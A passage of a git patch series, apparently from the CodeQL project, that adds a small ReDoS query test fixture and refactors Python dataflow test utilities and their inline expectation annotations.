b/javascript/ql/test/query-tests/Performance/ReDoS/lib/closure.js @@ -0,0 +1,5 @@ +goog.module('x.y.z.closure2'); + +exports = function (x) { + /u*o/.test(x); // NOT OK +} \ No newline at end of file diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/lib/lib.js b/javascript/ql/test/query-tests/Performance/ReDoS/lib/lib.js index 47fc928845b..d18f43078c3 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/lib/lib.js +++ b/javascript/ql/test/query-tests/Performance/ReDoS/lib/lib.js @@ -10,4 +10,6 @@ function bar(reg, name) { if (typeof define !== 'undefined' && define.amd) { // AMD define([], function () {return bar}); -} \ No newline at end of file +} + +module.exports.closure = require("./closure") \ No newline at end of file From 2409a7899bc16854377f65b99c1c5bf2eb4627bf Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Wed, 20 Jan 2021 20:18:40 +0100 Subject: [PATCH 0744/1241] Python: Remove func tag in some situations. Also make ArgumentNode public --- .../dataflow/new/internal/DataFlowPrivate.qll | 11 ----------- .../dataflow/new/internal/DataFlowPublic.qll | 11 +++++++++++ .../dataflow/TestUtil/RoutingTest.qll | 13 ++++++++++++- .../dataflow/coverage/argumentPassing.py | 18 +++++++++--------- .../experimental/dataflow/coverage/test.py | 2 +- 5 files changed, 33 insertions(+), 22 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 4842b670cbd..570c0396037 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -703,17 +703,6 @@ class SpecialCall extends DataFlowCall, TSpecialCall { } } -/** A data flow node that represents a call argument. */ -class ArgumentNode extends Node { - ArgumentNode() { this = any(DataFlowCall c).getArg(_) } - - /** Holds if this argument occurs at the given position in the given call. */ - predicate argumentOf(DataFlowCall call, int pos) { this = call.getArg(pos) } - - /** Gets the call in which this node is an argument. */ - final DataFlowCall getCall() { this.argumentOf(result, _) } -} - /** Gets a viable run-time target for the call `call`. */ DataFlowCallable viableCallable(DataFlowCall call) { result = call.getCallable() } diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll index 4d49806fe12..edb550872f5 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll @@ -193,6 +193,17 @@ class ParameterNode extends CfgNode { Parameter getParameter() { result = def.getParameter() } } +/** A data flow node that represents a call argument. */ +class ArgumentNode extends Node { + ArgumentNode() { this = any(DataFlowCall c).getArg(_) } + + /** Holds if this argument occurs at the given position in the given call. */ + predicate argumentOf(DataFlowCall call, int pos) { this = call.getArg(pos) } + + /** Gets the call in which this node is an argument. */ + final DataFlowCall getCall() { this.argumentOf(result, _) } +} + /** * A node associated with an object after an operation that might have * changed its state. diff --git a/python/ql/test/experimental/dataflow/TestUtil/RoutingTest.qll b/python/ql/test/experimental/dataflow/TestUtil/RoutingTest.qll index 8224a510ef1..05fd7241c41 100644 --- a/python/ql/test/experimental/dataflow/TestUtil/RoutingTest.qll +++ b/python/ql/test/experimental/dataflow/TestUtil/RoutingTest.qll @@ -28,8 +28,19 @@ abstract class RoutingTest extends InlineExpectationsTest { value = "\"" + prettyNode(fromNode).replaceAll("\"", "'") + "\"" or tag = "func" and - value = toNode.getEnclosingCallable().getCallableValue().getScope().getQualifiedName() // TODO: More robust pretty printing? + not fromFunc(fromNode) = toFunc(toNode) and + value = toFunc(toNode) ) ) } + + pragma[inline] + private string fromFunc(DataFlow::ArgumentNode fromNode) { + result = fromNode.getCall().getNode().(CallNode).getFunction().getNode().(Name).getId() + } + + pragma[inline] + private string toFunc(DataFlow::Node toNode) { + result = toNode.getEnclosingCallable().getCallableValue().getScope().getQualifiedName() // TODO: More robust pretty printing? + } } diff --git a/python/ql/test/experimental/dataflow/coverage/argumentPassing.py b/python/ql/test/experimental/dataflow/coverage/argumentPassing.py index db19860a901..56b4b2a66a3 100644 --- a/python/ql/test/experimental/dataflow/coverage/argumentPassing.py +++ b/python/ql/test/experimental/dataflow/coverage/argumentPassing.py @@ -91,7 +91,7 @@ def test_argument_passing1(): @expects(7) def test_argument_passing2(): - argument_passing(arg1, arg2, arg3, f=arg6) #$ arg1="arg1" arg2="arg2" arg3="arg3" func=argument_passing + argument_passing(arg1, arg2, arg3, f=arg6) #$ arg1="arg1" arg2="arg2" arg3="arg3" def with_pos_only(a, /, b): @@ -101,9 +101,9 @@ def with_pos_only(a, /, b): @expects(6) def test_pos_only(): - with_pos_only(arg1, arg2) #$ arg1="arg1" arg2="arg2" func=with_pos_only - with_pos_only(arg1, b=arg2) #$ arg1="arg1" arg2="arg2" func=with_pos_only - with_pos_only(arg1, *(arg2,)) #$ arg1="arg1" func=with_pos_only MISSING: arg2="arg2" + with_pos_only(arg1, arg2) #$ arg1="arg1" arg2="arg2" + with_pos_only(arg1, b=arg2) #$ arg1="arg1" arg2="arg2" + with_pos_only(arg1, *(arg2,)) #$ arg1="arg1" MISSING: arg2="arg2" def with_multiple_kw_args(a, b, c): @@ -114,8 +114,8 @@ def with_multiple_kw_args(a, b, c): @expects(12) def test_multiple_kw_args(): - with_multiple_kw_args(b=arg2, c=arg3, a=arg1) #$ arg1="arg1" arg2="arg2" arg3="arg3" func=with_multiple_kw_args - with_multiple_kw_args(arg1, *(arg2,), arg3) #$ arg1="arg1" func=with_multiple_kw_args MISSING: arg2="arg2" arg3="arg3" + with_multiple_kw_args(b=arg2, c=arg3, a=arg1) #$ arg1="arg1" arg2="arg2" arg3="arg3" + with_multiple_kw_args(arg1, *(arg2,), arg3) #$ arg1="arg1" MISSING: arg2="arg2" arg3="arg3" with_multiple_kw_args(arg1, **{"c": arg3}, b=arg2) #$ arg1="arg1" arg3="arg3" func=with_multiple_kw_args MISSING: arg2="arg2" with_multiple_kw_args(**{"b": arg2}, **{"c": arg3}, **{"a": arg1}) #$ arg1="arg1" arg2="arg2" arg3="arg3" func=with_multiple_kw_args @@ -129,8 +129,8 @@ def with_default_arguments(a=arg1, b=arg2, c=arg3): # Need a mechanism to test @expects(12) def test_default_arguments(): with_default_arguments() - with_default_arguments(arg1) #$ arg1="arg1" func=with_default_arguments - with_default_arguments(b=arg2) #$ arg2="arg2" func=with_default_arguments + with_default_arguments(arg1) #$ arg1="arg1" + with_default_arguments(b=arg2) #$ arg2="arg2" with_default_arguments(**{"c": arg3}) #$ arg3="arg3" func=with_default_arguments @@ -157,7 +157,7 @@ def grab_baz(baz): @expects(4) def test_grab(): - grab_foo_bar_baz(baz=arg3, bar=arg2, foo=arg1) #$ arg1="arg1" arg2="arg2" arg3="arg3" func=grab_foo_bar_baz func=grab_bar_baz func=grab_baz + grab_foo_bar_baz(baz=arg3, bar=arg2, foo=arg1) #$ arg1="arg1" arg2="arg2" arg3="arg3" func=grab_bar_baz func=grab_baz # All combinations diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index bc328a6d9a6..9b55a7c02d7 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -590,4 +590,4 @@ def return_from_inner_scope(x): return SOURCE def test_return_from_inner_scope(): - SINK(return_from_inner_scope([])) + SINK(return_from_inner_scope([])) #$ flow="SOURCE, l:-3 -> return_from_inner_scope(..)" From 419449fb8a3d6a9eec0088fb6e3a5c9372052276 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Wed, 20 Jan 2021 20:33:04 +0100 Subject: [PATCH 0745/1241] Python: default value for argN --- .../dataflow/TestUtil/RoutingTest.qll | 11 +- .../dataflow/coverage/argumentPassing.py | 40 +++--- .../experimental/dataflow/coverage/classes.py | 130 +++++++++--------- 3 files changed, 93 insertions(+), 88 deletions(-) diff --git a/python/ql/test/experimental/dataflow/TestUtil/RoutingTest.qll b/python/ql/test/experimental/dataflow/TestUtil/RoutingTest.qll index 05fd7241c41..03f4f8056eb 100644 --- a/python/ql/test/experimental/dataflow/TestUtil/RoutingTest.qll +++ b/python/ql/test/experimental/dataflow/TestUtil/RoutingTest.qll @@ -25,15 +25,20 @@ abstract class RoutingTest extends InlineExpectationsTest { element = fromNode.toString() and ( tag = this.flowTag() and - value = "\"" + prettyNode(fromNode).replaceAll("\"", "'") + "\"" + if "\"" + tag + "\"" = fromValue(fromNode) then value = "" else value = fromValue(fromNode) or tag = "func" and - not fromFunc(fromNode) = toFunc(toNode) and - value = toFunc(toNode) + value = toFunc(toNode) and + not value = fromFunc(fromNode) ) ) } + pragma[inline] + private string fromValue(DataFlow::Node fromNode) { + result = "\"" + prettyNode(fromNode).replaceAll("\"", "'") + "\"" + } + pragma[inline] private string fromFunc(DataFlow::ArgumentNode fromNode) { result = fromNode.getCall().getNode().(CallNode).getFunction().getNode().(Name).getId() diff --git a/python/ql/test/experimental/dataflow/coverage/argumentPassing.py b/python/ql/test/experimental/dataflow/coverage/argumentPassing.py index 56b4b2a66a3..cbbac6c0d68 100644 --- a/python/ql/test/experimental/dataflow/coverage/argumentPassing.py +++ b/python/ql/test/experimental/dataflow/coverage/argumentPassing.py @@ -86,12 +86,12 @@ def argument_passing( @expects(7) def test_argument_passing1(): - argument_passing(arg1, *(arg2, arg3, arg4), e=arg5, **{"f": arg6, "g": arg7}) #$ arg1="arg1" arg7="arg7" func=argument_passing MISSING: arg2="arg2" arg3="arg3 arg4="arg4" arg5="arg5" arg6="arg6" + argument_passing(arg1, *(arg2, arg3, arg4), e=arg5, **{"f": arg6, "g": arg7}) #$ arg1 arg7 func=argument_passing MISSING: arg2 arg3="arg3 arg4 arg5 arg6 @expects(7) def test_argument_passing2(): - argument_passing(arg1, arg2, arg3, f=arg6) #$ arg1="arg1" arg2="arg2" arg3="arg3" + argument_passing(arg1, arg2, arg3, f=arg6) #$ arg1 arg2 arg3 def with_pos_only(a, /, b): @@ -101,9 +101,9 @@ def with_pos_only(a, /, b): @expects(6) def test_pos_only(): - with_pos_only(arg1, arg2) #$ arg1="arg1" arg2="arg2" - with_pos_only(arg1, b=arg2) #$ arg1="arg1" arg2="arg2" - with_pos_only(arg1, *(arg2,)) #$ arg1="arg1" MISSING: arg2="arg2" + with_pos_only(arg1, arg2) #$ arg1 arg2 + with_pos_only(arg1, b=arg2) #$ arg1 arg2 + with_pos_only(arg1, *(arg2,)) #$ arg1 MISSING: arg2 def with_multiple_kw_args(a, b, c): @@ -114,10 +114,10 @@ def with_multiple_kw_args(a, b, c): @expects(12) def test_multiple_kw_args(): - with_multiple_kw_args(b=arg2, c=arg3, a=arg1) #$ arg1="arg1" arg2="arg2" arg3="arg3" - with_multiple_kw_args(arg1, *(arg2,), arg3) #$ arg1="arg1" MISSING: arg2="arg2" arg3="arg3" - with_multiple_kw_args(arg1, **{"c": arg3}, b=arg2) #$ arg1="arg1" arg3="arg3" func=with_multiple_kw_args MISSING: arg2="arg2" - with_multiple_kw_args(**{"b": arg2}, **{"c": arg3}, **{"a": arg1}) #$ arg1="arg1" arg2="arg2" arg3="arg3" func=with_multiple_kw_args + with_multiple_kw_args(b=arg2, c=arg3, a=arg1) #$ arg1 arg2 arg3 + with_multiple_kw_args(arg1, *(arg2,), arg3) #$ arg1 MISSING: arg2 arg3 + with_multiple_kw_args(arg1, **{"c": arg3}, b=arg2) #$ arg1 arg3 func=with_multiple_kw_args MISSING: arg2 + with_multiple_kw_args(**{"b": arg2}, **{"c": arg3}, **{"a": arg1}) #$ arg1 arg2 arg3 func=with_multiple_kw_args def with_default_arguments(a=arg1, b=arg2, c=arg3): # Need a mechanism to test default arguments @@ -129,9 +129,9 @@ def with_default_arguments(a=arg1, b=arg2, c=arg3): # Need a mechanism to test @expects(12) def test_default_arguments(): with_default_arguments() - with_default_arguments(arg1) #$ arg1="arg1" - with_default_arguments(b=arg2) #$ arg2="arg2" - with_default_arguments(**{"c": arg3}) #$ arg3="arg3" func=with_default_arguments + with_default_arguments(arg1) #$ arg1 + with_default_arguments(b=arg2) #$ arg2 + with_default_arguments(**{"c": arg3}) #$ arg3 func=with_default_arguments # Nested constructor pattern @@ -157,7 +157,7 @@ def grab_baz(baz): @expects(4) def test_grab(): - grab_foo_bar_baz(baz=arg3, bar=arg2, foo=arg1) #$ arg1="arg1" arg2="arg2" arg3="arg3" func=grab_bar_baz func=grab_baz + grab_foo_bar_baz(baz=arg3, bar=arg2, foo=arg1) #$ arg1 arg2 arg3 func=grab_bar_baz func=grab_baz # All combinations @@ -165,14 +165,14 @@ def test_pos_pos(): def with_pos(a): SINK1(a) - with_pos(arg1) #$ arg1="arg1" func=test_pos_pos.with_pos + with_pos(arg1) #$ arg1 func=test_pos_pos.with_pos def test_pos_pos_only(): def with_pos_only(a, /): SINK1(a) - with_pos_only(arg1) #$ arg1="arg1" func=test_pos_pos_only.with_pos_only + with_pos_only(arg1) #$ arg1 func=test_pos_pos_only.with_pos_only def test_pos_star(): @@ -180,32 +180,32 @@ def test_pos_star(): if len(a) > 0: SINK1(a[0]) - with_star(arg1) #$ arg1="arg1" func=test_pos_star.with_star + with_star(arg1) #$ arg1 func=test_pos_star.with_star def test_pos_kw(): def with_kw(a=""): SINK1(a) - with_kw(arg1) #$ arg1="arg1" func=test_pos_kw.with_kw + with_kw(arg1) #$ arg1 func=test_pos_kw.with_kw def test_kw_pos(): def with_pos(a): SINK1(a) - with_pos(a=arg1) #$ arg1="arg1" func=test_kw_pos.with_pos + with_pos(a=arg1) #$ arg1 func=test_kw_pos.with_pos def test_kw_kw(): def with_kw(a=""): SINK1(a) - with_kw(a=arg1) #$ arg1="arg1" func=test_kw_kw.with_kw + with_kw(a=arg1) #$ arg1 func=test_kw_kw.with_kw def test_kw_doublestar(): def with_doublestar(**a): SINK1(a["a"]) - with_doublestar(a=arg1) #$ arg1="arg1" func=test_kw_doublestar.with_doublestar + with_doublestar(a=arg1) #$ arg1 func=test_kw_doublestar.with_doublestar diff --git a/python/ql/test/experimental/dataflow/coverage/classes.py b/python/ql/test/experimental/dataflow/coverage/classes.py index d9586f4997f..cf55681c40a 100644 --- a/python/ql/test/experimental/dataflow/coverage/classes.py +++ b/python/ql/test/experimental/dataflow/coverage/classes.py @@ -122,7 +122,7 @@ class With_format: def test_format(): with_format = With_format() #$ MISSING: arg1="SSA variable with_format" func=With_format.__format__ - arg2 = "" #$ MISSING: arg2="arg2" func=With_format.__format__ + arg2 = "" #$ MISSING: arg2 func=With_format.__format__ format(with_format, arg2) @@ -147,7 +147,7 @@ class With_lt: def test_lt(): with_lt = With_lt() #$ MISSING: arg1="SSA variable with_lt" func=With_lt.__lt__ - arg2 = with_lt #$ MISSING: arg2="arg2" func=With_lt.__lt__ + arg2 = with_lt #$ MISSING: arg2 func=With_lt.__lt__ with_lt < arg2 @@ -162,7 +162,7 @@ class With_le: def test_le(): with_le = With_le() #$ MISSING: arg1="SSA variable with_le" func=With_le.__le__ - arg2 = with_le #$ MISSING: arg2="arg2" func=With_le.__le__ + arg2 = with_le #$ MISSING: arg2 func=With_le.__le__ with_le <= arg2 @@ -205,7 +205,7 @@ class With_gt: def test_gt(): with_gt = With_gt() #$ MISSING: arg1="SSA variable with_gt" func=With_gt.__gt__ - arg2 = with_gt #$ MISSING: arg2="arg2" func=With_gt.__gt__ + arg2 = with_gt #$ MISSING: arg2 func=With_gt.__gt__ with_gt > arg2 @@ -220,7 +220,7 @@ class With_ge: def test_ge(): with_ge = With_ge() #$ MISSING: arg1="SSA variable with_ge" func=With_ge.__ge__ - arg2 = with_ge #$ MISSING: arg2="arg2" func=With_ge.__ge__ + arg2 = with_ge #$ MISSING: arg2 func=With_ge.__ge__ with_ge >= arg2 @@ -297,7 +297,7 @@ class With_getattribute: def test_getattribute(): with_getattribute = With_getattribute() #$ MISSING: arg1="SSA variable with_getattribute" func=With_getattribute.__getattribute__ - with_getattribute.arg2 #$ MISSING: arg2="arg2" func=With_getattribute.__getattribute__ + with_getattribute.arg2 #$ MISSING: arg2 func=With_getattribute.__getattribute__ # object.__setattr__(self, name, value) @@ -311,8 +311,8 @@ class With_setattr: def test_setattr(): with_setattr = With_setattr() #$ MISSING: arg1="SSA variable with_setattr" func=With_setattr.__setattr__ - arg3 = "" #$ MISSING: arg3="arg3" func=With_setattr.__setattr__ - with_setattr.arg2 = arg3 #$ MISSING: arg2="arg2" func=With_setattr.__setattr__ + arg3 = "" #$ MISSING: arg3 func=With_setattr.__setattr__ + with_setattr.arg2 = arg3 #$ MISSING: arg2 func=With_setattr.__setattr__ # object.__delattr__(self, name) @@ -325,7 +325,7 @@ class With_delattr: def test_delattr(): with_delattr = With_delattr() #$ MISSING: arg1="SSA variable with_delattr" func=With_delattr.__delattr__ - del with_delattr.arg2 #$ MISSING: arg2="arg2" func=With_delattr.__delattr__ + del with_delattr.arg2 #$ MISSING: arg2 func=With_delattr.__delattr__ # object.__dir__(self) @@ -362,7 +362,7 @@ def test_get(): with_get = With_get() #$ MISSING: arg1="SSA variable with_get" func=With_get.__get__ arg3.attr = with_get - arg2 = arg3() #$ MISSING: arg2="arg2" func=With_get.__get__ + arg2 = arg3() #$ MISSING: arg2 func=With_get.__get__ arg2.attr @@ -378,8 +378,8 @@ class With_set: def test_set(): with_set = With_set() #$ MISSING: arg1="SSA variable with_set" func=With_set.__set__ Owner.attr = with_set - arg2 = Owner() #$ MISSING: arg2="arg2" func=With_set.__set__ - arg3 = "" #$ MISSING: arg3="arg3" func=With_set.__set__ + arg2 = Owner() #$ MISSING: arg2 func=With_set.__set__ + arg3 = "" #$ MISSING: arg3 func=With_set.__set__ arg2.attr = arg3 @@ -394,7 +394,7 @@ class With_delete: def test_delete(): with_delete = With_delete() #$ MISSING: arg1="SSA variable with_delete" func=With_delete.__delete__ Owner.attr = with_delete - arg2 = Owner() #$ MISSING: arg2="arg2" func=With_delete.__delete__ + arg2 = Owner() #$ MISSING: arg2 func=With_delete.__delete__ del arg2.attr @@ -409,7 +409,7 @@ class With_set_name: def test_set_name(): with_set_name = With_set_name() #$ MISSING: arg1="SSA variable with_set_name" func=With_set_name.__set_name__ - type("arg2", (object,), dict(arg3=with_set_name)) #$ MISSING: arg2="arg2" arg3="arg3" func=With_set_name.__set_name__ + type("arg2", (object,), dict(arg3=with_set_name)) #$ MISSING: arg2 arg3 func=With_set_name.__set_name__ # 3.3.2.4. __slots__ // We are not testing the suppression of __weakref__ and __dict__ here @@ -463,7 +463,7 @@ class With_instancecheck: def test_instancecheck(): with_instancecheck = With_instancecheck() #$ MISSING: arg1="SSA variable with_instancecheck" func=With_instancecheck.__instancecheck__ - arg2 = "" #$ MISSING: arg2="arg2" func=With_instancecheck.__instancecheck__ + arg2 = "" #$ MISSING: arg2 func=With_instancecheck.__instancecheck__ isinstance(arg2, with_instancecheck) @@ -478,7 +478,7 @@ class With_subclasscheck: def test_subclasscheck(): with_subclasscheck = With_subclasscheck() #$ MISSING: arg1="SSA variable with_subclasscheck" func=With_subclasscheck.__subclasscheck__ - arg2 = object #$ MISSING: arg2="arg2" func=With_subclasscheck.__subclasscheck__ + arg2 = object #$ MISSING: arg2 func=With_subclasscheck.__subclasscheck__ issubclass(arg2, with_subclasscheck) @@ -493,7 +493,7 @@ class With_class_getitem: #$ MISSING: arg1="With_class_getitem" func=With_class def test_class_getitem(): - arg2 = int #$ MISSING: arg2="arg2" func=With_class_getitem.__class_getitem__ + arg2 = int #$ MISSING: arg2 func=With_class_getitem.__class_getitem__ with_class_getitem = With_class_getitem[arg2]() @@ -562,7 +562,7 @@ class With_getitem: def test_getitem(): with_getitem = With_getitem() #$ arg1="SSA variable with_getitem" func=With_getitem.__getitem__ arg2 = 0 - with_getitem[arg2] #$ arg2="arg2" func=With_getitem.__getitem__ + with_getitem[arg2] #$ arg2 func=With_getitem.__getitem__ # object.__setitem__(self, key, value) @@ -578,7 +578,7 @@ def test_setitem(): with_setitem = With_setitem() #$ arg1="SSA variable with_setitem" func=With_setitem.__setitem__ arg2 = 0 arg3 = "" - with_setitem[arg2] = arg3 #$ arg2="arg2" arg3="arg3" func=With_setitem.__setitem__ + with_setitem[arg2] = arg3 #$ arg2 arg3 func=With_setitem.__setitem__ # object.__delitem__(self, key) @@ -592,7 +592,7 @@ class With_delitem: def test_delitem(): with_delitem = With_delitem() #$ arg1="SSA variable with_delitem" func=With_delitem.__delitem__ arg2 = 0 - del with_delitem[arg2] #$ arg2="arg2" func=With_delitem.__delitem__ + del with_delitem[arg2] #$ arg2 func=With_delitem.__delitem__ # object.__missing__(self, key) @@ -606,7 +606,7 @@ class With_missing(dict): def test_missing(): with_missing = With_missing() #$ MISSING: arg1="SSA variable with_missing" func=With_missing.__missing__ - arg2 = 0 #$ MISSING: arg2="arg2" func=With_missing.__missing__ + arg2 = 0 #$ MISSING: arg2 func=With_missing.__missing__ with_missing[arg2] @@ -647,7 +647,7 @@ class With_contains: def test_contains(): with_contains = With_contains() #$ MISSING: arg1="SSA variable with_contains" func=With_contains.__contains__ - arg2 = 0 #$ MISSING: arg2="arg2" func=With_contains.__contains__ + arg2 = 0 #$ MISSING: arg2 func=With_contains.__contains__ arg2 in with_contains @@ -664,7 +664,7 @@ class With_add: def test_add(): with_add = With_add() #$ arg1="SSA variable with_add" func=With_add.__add__ arg2 = with_add - with_add + arg2 #$ arg2="arg2" func=With_add.__add__ + with_add + arg2 #$ arg2 func=With_add.__add__ # object.__sub__(self, other) @@ -679,7 +679,7 @@ class With_sub: def test_sub(): with_sub = With_sub() #$ arg1="SSA variable with_sub" func=With_sub.__sub__ arg2 = with_sub - with_sub - arg2 #$ arg2="arg2" func=With_sub.__sub__ + with_sub - arg2 #$ arg2 func=With_sub.__sub__ # object.__mul__(self, other) @@ -694,7 +694,7 @@ class With_mul: def test_mul(): with_mul = With_mul() #$ arg1="SSA variable with_mul" func=With_mul.__mul__ arg2 = with_mul - with_mul * arg2 #$ arg2="arg2" func=With_mul.__mul__ + with_mul * arg2 #$ arg2 func=With_mul.__mul__ # object.__matmul__(self, other) @@ -709,7 +709,7 @@ class With_matmul: def test_matmul(): with_matmul = With_matmul() #$ arg1="SSA variable with_matmul" func=With_matmul.__matmul__ arg2 = with_matmul - with_matmul @ arg2 #$ arg2="arg2" func=With_matmul.__matmul__ + with_matmul @ arg2 #$ arg2 func=With_matmul.__matmul__ # object.__truediv__(self, other) @@ -724,7 +724,7 @@ class With_truediv: def test_truediv(): with_truediv = With_truediv() #$ arg1="SSA variable with_truediv" func=With_truediv.__truediv__ arg2 = with_truediv - with_truediv / arg2 #$ arg2="arg2" func=With_truediv.__truediv__ + with_truediv / arg2 #$ arg2 func=With_truediv.__truediv__ # object.__floordiv__(self, other) @@ -739,7 +739,7 @@ class With_floordiv: def test_floordiv(): with_floordiv = With_floordiv() #$ arg1="SSA variable with_floordiv" func=With_floordiv.__floordiv__ arg2 = with_floordiv - with_floordiv // arg2 #$ arg2="arg2" func=With_floordiv.__floordiv__ + with_floordiv // arg2 #$ arg2 func=With_floordiv.__floordiv__ # object.__mod__(self, other) @@ -754,7 +754,7 @@ class With_mod: def test_mod(): with_mod = With_mod() #$ arg1="SSA variable with_mod" func=With_mod.__mod__ arg2 = with_mod - with_mod % arg2 #$ arg2="arg2" func=With_mod.__mod__ + with_mod % arg2 #$ arg2 func=With_mod.__mod__ # object.__divmod__(self, other) @@ -768,7 +768,7 @@ class With_divmod: def test_divmod(): with_divmod = With_divmod() #$ MISSING: arg1="SSA variable with_divmod" func=With_divmod.__divmod__ - arg2 = With_divmod #$ MISSING: arg2="arg2" func=With_divmod.__divmod__ + arg2 = With_divmod #$ MISSING: arg2 func=With_divmod.__divmod__ divmod(with_divmod, arg2) @@ -784,13 +784,13 @@ class With_pow: def test_pow(): with_pow = With_pow() #$ MISSING: arg1="SSA variable with_pow" func=With_pow.__pow__ arg2 = with_pow - pow(with_pow, arg2) #$ MISSING: arg2="arg2" func=With_pow.__pow__ + pow(with_pow, arg2) #$ MISSING: arg2 func=With_pow.__pow__ def test_pow_op(): with_pow = With_pow() #$ arg1="SSA variable with_pow" func=With_pow.__pow__ arg2 = with_pow - with_pow ** arg2 #$ arg2="arg2" func=With_pow.__pow__ + with_pow ** arg2 #$ arg2 func=With_pow.__pow__ # object.__lshift__(self, other) @@ -805,7 +805,7 @@ class With_lshift: def test_lshift(): with_lshift = With_lshift() #$ arg1="SSA variable with_lshift" func=With_lshift.__lshift__ arg2 = with_lshift - with_lshift << arg2 #$ arg2="arg2" func=With_lshift.__lshift__ + with_lshift << arg2 #$ arg2 func=With_lshift.__lshift__ # object.__rshift__(self, other) @@ -820,7 +820,7 @@ class With_rshift: def test_rshift(): with_rshift = With_rshift() #$ arg1="SSA variable with_rshift" func=With_rshift.__rshift__ arg2 = with_rshift - with_rshift >> arg2 #$ arg2="arg2" func=With_rshift.__rshift__ + with_rshift >> arg2 #$ arg2 func=With_rshift.__rshift__ # object.__and__(self, other) @@ -835,7 +835,7 @@ class With_and: def test_and(): with_and = With_and() #$ arg1="SSA variable with_and" func=With_and.__and__ arg2 = with_and - with_and & arg2 #$ arg2="arg2" func=With_and.__and__ + with_and & arg2 #$ arg2 func=With_and.__and__ # object.__xor__(self, other) @@ -850,7 +850,7 @@ class With_xor: def test_xor(): with_xor = With_xor() #$ arg1="SSA variable with_xor" func=With_xor.__xor__ arg2 = with_xor - with_xor ^ arg2 #$ arg2="arg2" func=With_xor.__xor__ + with_xor ^ arg2 #$ arg2 func=With_xor.__xor__ # object.__or__(self, other) @@ -865,7 +865,7 @@ class With_or: def test_or(): with_or = With_or() #$ arg1="SSA variable with_or" func=With_or.__or__ arg2 = with_or - with_or | arg2 #$ arg2="arg2" func=With_or.__or__ + with_or | arg2 #$ arg2 func=With_or.__or__ # object.__radd__(self, other) @@ -879,7 +879,7 @@ class With_radd: def test_radd(): with_radd = With_radd() #$ MISSING: arg1="SSA variable with_radd" func=With_radd.__radd__ - arg2 = "" #$ MISSING: arg2="arg2" func=With_radd.__radd__ + arg2 = "" #$ MISSING: arg2 func=With_radd.__radd__ arg2 + with_radd @@ -894,7 +894,7 @@ class With_rsub: def test_rsub(): with_rsub = With_rsub() #$ MISSING: arg1="SSA variable with_rsub" func=With_rsub.__rsub__ - arg2 = "" #$ MISSING: arg2="arg2" func=With_rsub.__rsub__ + arg2 = "" #$ MISSING: arg2 func=With_rsub.__rsub__ arg2 - with_rsub @@ -909,7 +909,7 @@ class With_rmul: def test_rmul(): with_rmul = With_rmul() #$ MISSING: arg1="SSA variable with_rmul" func=With_rmul.__rmul__ - arg2 = "" #$ MISSING: arg2="arg2" func=With_rmul.__rmul__ + arg2 = "" #$ MISSING: arg2 func=With_rmul.__rmul__ arg2 * with_rmul @@ -924,7 +924,7 @@ class With_rmatmul: def test_rmatmul(): with_rmatmul = With_rmatmul() #$ MISSING: arg1="SSA variable with_rmatmul" func=With_rmatmul.__rmatmul__ - arg2 = "" #$ MISSING: arg2="arg2" func=With_rmatmul.__rmatmul__ + arg2 = "" #$ MISSING: arg2 func=With_rmatmul.__rmatmul__ arg2 @ with_rmatmul @@ -939,7 +939,7 @@ class With_rtruediv: def test_rtruediv(): with_rtruediv = With_rtruediv() #$ MISSING: arg1="SSA variable with_rtruediv" func=With_rtruediv.__rtruediv__ - arg2 = "" #$ MISSING: arg2="arg2" func=With_rtruediv.__rtruediv__ + arg2 = "" #$ MISSING: arg2 func=With_rtruediv.__rtruediv__ arg2 / with_rtruediv @@ -954,7 +954,7 @@ class With_rfloordiv: def test_rfloordiv(): with_rfloordiv = With_rfloordiv() #$ MISSING: arg1="SSA variable with_rfloordiv" func=With_rfloordiv.__rfloordiv__ - arg2 = "" #$ MISSING: arg2="arg2" func=With_rfloordiv.__rfloordiv__ + arg2 = "" #$ MISSING: arg2 func=With_rfloordiv.__rfloordiv__ arg2 // with_rfloordiv @@ -969,7 +969,7 @@ class With_rmod: def test_rmod(): with_rmod = With_rmod() #$ MISSING: arg1="SSA variable with_rmod" func=With_rmod.__rmod__ - arg2 = {} #$ MISSING: arg2="arg2" func=With_rmod.__rmod__ + arg2 = {} #$ MISSING: arg2 func=With_rmod.__rmod__ arg2 % with_rmod @@ -984,7 +984,7 @@ class With_rdivmod: def test_rdivmod(): with_rdivmod = With_rdivmod() #$ MISSING: arg1="SSA variable with_rdivmod" func=With_rdivmod.__rdivmod__ - arg2 = "" #$ MISSING: arg2="arg2" func=With_rdivmod.__rdivmod__ + arg2 = "" #$ MISSING: arg2 func=With_rdivmod.__rdivmod__ divmod(arg2, with_rdivmod) @@ -999,13 +999,13 @@ class With_rpow: def test_rpow(): with_rpow = With_rpow() #$ MISSING: arg1="SSA variable with_rpow" func=With_rpow.__rpow__ - arg2 = "" #$ MISSING: arg2="arg2" func=With_rpow.__rpow__ + arg2 = "" #$ MISSING: arg2 func=With_rpow.__rpow__ pow(arg2, with_rpow) def test_rpow_op(): with_rpow = With_rpow() #$ MISSING: arg1="SSA variable with_rpow" func=With_rpow.__rpow__ - arg2 = "" #$ MISSING: arg2="arg2" func=With_rpow.__rpow__ + arg2 = "" #$ MISSING: arg2 func=With_rpow.__rpow__ arg2 ** with_rpow @@ -1020,7 +1020,7 @@ class With_rlshift: def test_rlshift(): with_rlshift = With_rlshift() #$ MISSING: arg1="SSA variable with_rlshift" func=With_rlshift.__rlshift__ - arg2 = "" #$ MISSING: arg2="arg2" func=With_rlshift.__rlshift__ + arg2 = "" #$ MISSING: arg2 func=With_rlshift.__rlshift__ 